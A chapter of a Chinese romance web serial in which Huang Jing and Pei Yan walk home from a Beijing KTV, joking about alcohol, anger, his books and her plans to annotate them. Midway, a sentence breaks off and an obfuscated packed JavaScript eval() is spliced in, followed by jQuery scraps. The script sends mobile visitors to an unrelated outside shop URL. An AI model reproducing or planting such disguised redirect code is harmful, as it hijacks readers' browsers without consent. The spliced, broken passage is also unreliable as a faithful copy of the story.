从KTV出来,北京的夜风迎面扑来,带着初夏的微凉和远处不知谁家飘来的烧烤味。
黄晶还沉浸在刚才的余韵里,挽着裴砚的手臂,走几步就蹦一下,像一只被音乐充满了电的兔子。
她一路上把能想到的歌都唱了个遍——《因为爱情》刚起了个头就自己打断,说这首歌男声太低她唱不了,下次让他独唱男声部分她负责和声。
《偏爱》是仙剑三的片尾曲,她小时候看徐长卿和紫萱的爱情故事看得眼泪汪汪,觉得导演当初选这部剧当片尾曲选得太对了。
《爱的供养》是《宫》的主题曲,杨幂唱的,非常有感觉……
不唱歌的时候黄晶就在喊他的名字:“裴砚裴砚,你看,那颗星星好亮哦!”
“裴砚裴砚,我们下次来KTV要不试试粤语歌?不过我不会粤语,可能会全程乱唱。”
“裴砚裴砚,我想吃西瓜,你说这么晚了还有卖的吗?”
裴砚一一回应:“那颗是木星,最近刚过冲日,亮度达到峰值。”
“可以试试粤语歌,我也不太会,两个人一起乱唱或许很有趣。”
“西瓜——这个点水果店应该关门了,但二十四小时便利店可能有切好的果切,拐过前面路口就有一家。”
黄晶听完他的回答,把脸贴在他胳膊上,蹭了一下,“裴砚,你真的好靠谱哦~”
她说“裴砚”两个字时,尾音轻轻往上翘,像是含了一颗还没化完的蜜糖,黏黏的、软软的,和她平时说“裴砚你过来”那种发号施令的语气完全不同,也和她在沙发上举着靠垫锤他时的气势判若两人。
裴砚完全没想到,几个月前还毫无交集的女孩,此刻在凌晨的北京街头,挽着他的手臂,一遍一遍地喊他的名字。
但这两个字从她嘴里说出来,像被施了什么魔法,每一次尾音上扬都让他的心跳漏半拍。
裴砚偏过头看黄晶,路灯的光落在她仰起的脸上,她把他的胳膊当成了秋千,整个人晃来晃去,马尾也随之轻轻甩动。
黄晶还在喋喋不休:“那等会儿要是没有西瓜就买草莓,草莓也没有就买草莓味的酸奶,反正你要负责让我吃到点什么甜的!”
“好。”裴砚挽紧了她,往便利店的方向走去。
黄晶在凌晨的北京街头继续哼着小虎队《爱》,声音轻得像一片刚从槐树上掉下来的叶子。
裴砚忽然觉得,这条从KTV回家的路,大概是他走过的最好的citywalk路线:凌晨一点,路上只有他们两个,她在唱歌,他在听,她还时不时用含蜜的声音喊他名字……
黄晶唱着唱着忽然停下来,低头看了看自己的手,又抬头看了看路灯,然后用一种半迷糊半认真的语气说:“我怎么感觉自己像喝多了一样,但我明明只喝了KTV送的那一小杯果酒啊。”
她说完又靠回裴砚胳膊上,开始汇报自己的酒量:啤酒可以喝,果酒、鸡尾酒也行,这种不容易醉;但白酒不行,她一闻就觉得冲,喝两口就头晕;葡萄酒也不行,不好喝。
所以今晚在KTV那杯果酒对她来说已经是日常饮酒的上限。
接着黄晶话锋一转,抬头看他,表情忽然变得很严肃:“你呢?你酒量怎么样?会不会喝多了发酒疯——甚至家暴打人啊?”
裴砚看着她。她站在原地仰头看他,路灯把她额头前细碎的头发照得发亮。
裴砚认真地回答了这个问题:“酒量中等,白酒大概三四两,红酒一瓶,啤酒没试过上限——因为二哥每次都在我喝到第三杯时就把杯子收走。”
“至于发酒疯,不会。我喝多了之后的表现是沉默、困倦,想找个沙发躺下,没有暴力倾向,也没有唱歌和说话的冲动。”
然后他补充了一句更关键的话:“我不家暴。如果你担心,可以把这条写进合同。甲方黄晶,乙方裴砚——乙方承诺在任何情况下不对甲方使用暴力,包括但不限于清醒时、醉酒时、极度生气时、吵架后、被你用靠垫锤时。”
“如违约,乙方自动放弃所有共同资产,豆浆油条终身免费,保险受益人改为甲方指定人选。”
黄晶听完裴砚那套“自动放弃所有共同资产”的违约条款,看了他一眼,挽紧他的胳膊,“不用写进合同,先记备忘录里就行。以后如果发现你有任何暴力倾向——哼哼哼。”
她连威胁都懒得编完整,用三个“哼”代替了所有惩罚措施,因为她知道他能自动补全后面的内容。
说完黄晶又想起一个问题,忽然抬起头看着他,目光里带着那种发现了一个新的研究课题的好奇:“不过你竟然也会有极度生气的时候?我觉得你脾气还挺好的,不像我易燃易爆炸的。”
“我好像都没怎么看过你生气时的样子。你有没有什么雷点?说出来好让我提前排雷一下。”
裴砚认真地想了一会儿。然后开始逐一列出他的雷点:第一,别人动他的书,尤其是折角,他会有轻微不适,但不至于生气;第二,饭局上有人反复劝酒,他会感到烦躁,但不会表现出来。
第三,她上次在三里屯说“你自己回去吧”,他当时不是生气——是害怕,怕她真的不要他了。那种感觉比生气更难受,他不想再体验第二次。
裴砚顿了顿,然后说出了他真正的雷点:“让我极度生气的事就是有人伤害你。不管是物理上的——像魏天虎那样掐你脖子,还是语言上的——像那些在拍卖会上编造谣言的人。”
那天在拍卖会看到她被魏天虎掐住脖子时,裴砚第一次体验到什么叫真正的愤怒——是那种极其冷静的、被压到零度以下的、想鲨人的愤怒。
“所以你只需要保护好自己,你受伤就是我最大的雷点。”
黄晶听完没有立刻说话。她只是把脸埋进他胳膊里,闷闷地说了一句:“知道了。那你也别受伤——你受伤我也会生气。我生气的后果可比你严重多了,我会砸人。”
“知道,我已经被砸过一次了,还去过医院。”
黄晶抬起头,“那个不算,那次我不是故意的。但下次如果你为我受伤,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742271|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就会砸你,但砸完后也会给你涂药膏。”砸是为了让他记住不许受伤,涂是因为她舍不得他疼。
“好。但如果我自己不小心受伤了怎么办?”
“我也会认真给你涂药膏的,像你做的那样。”
黄晶忽然从他胳膊上弹起来,像是发现了什么重大漏洞,眼睛瞪得圆圆的,声音里带着一种混合了惊讶和紧张的情绪。
“啊!你说别人动你的书会生气——那如果是我呢?我读书喜欢在上面写写画画,写些自己感悟做记号,如果我要看你的书,把你书弄旧了你也会生气吗?”
裴砚看着她紧张兮兮的样子,停顿了几秒。他想起自己刚才说“别人动他的书尤其是折角”是雷区,但她不是别人。
于是开口,语气比刚才更缓:“别人动我的书我会不高兴,是因为他们把我的书当成物品。你动我的书不会——因为你会把我的书变成我们的书。”
“你画的线、写的批注、留下的感悟,不是损坏,是增值。哲学书上本来就应该有读者的对话痕迹,你愿意在我的书页边上和我讨论,那是一种编辑级的加注。”
“你翻过的每一页,都会变成我们之间的文本互动。所以你不是‘别人’,你是‘共读者’。”
黄晶看着他把“女朋友在书上写写画画”这件事从情感层面直接提升到了编辑学高度,嘴角慢慢弯起来,靠回他肩上。
“那我以后读你的书要用不同颜色的笔,蓝色写我的想法,绿色写我觉得说得对的地方,红色写我觉得在胡说八道——尤其是那些太悲观的段落。”
“好。如果你在某一页发现作者突然开始写‘活着没有意义’,你就用红笔在旁边批注‘放屁,今晚出去吃顿好的’。”
黄晶被这句话逗得笑出声来,“你怎么也会说脏话了?”
“我只是在引述你上次在沙发上说的原话。”
路灯把他们的影子拉得很长,她靠在他肩上,脑子里已经浮现出他那一摞的哲学书。
“我要从柏拉图开始批注,因为他在《理想国》里写‘诗人应该被驱逐出理想国’,我要在他那一页用红笔写:凭什么?!”
“我也想看这条批注,我陪你一起看。”
“不用,我先写,写完再让你看,这样你翻开书时就会有惊喜。说不定某天我会突然出现在你桌前,把你所有的书都画上颜色,连你的哲学随笔也不放过。哼哼哼~”
“可以。”
然而裴砚脑子已经想远了:以后书房要多放一套桌椅,因为现在只有一把椅子。她要坐在他旁边看书,所以需要一张专门给她批注的书桌,位置要靠窗,光照要好。
他还要提前准备好不同颜色的笔,分成蓝绿红三格笔筒,放在她的书桌上……
而裴砚最期待的是某天他翻开一本很久没看的书,发现她在最后一页的空白处画了一颗歪歪扭扭的小星星——那是她给他的记号,也是他们共同阅读过的证据。
它让那些书成为这世间独一无二的存在,正如她之于他一样。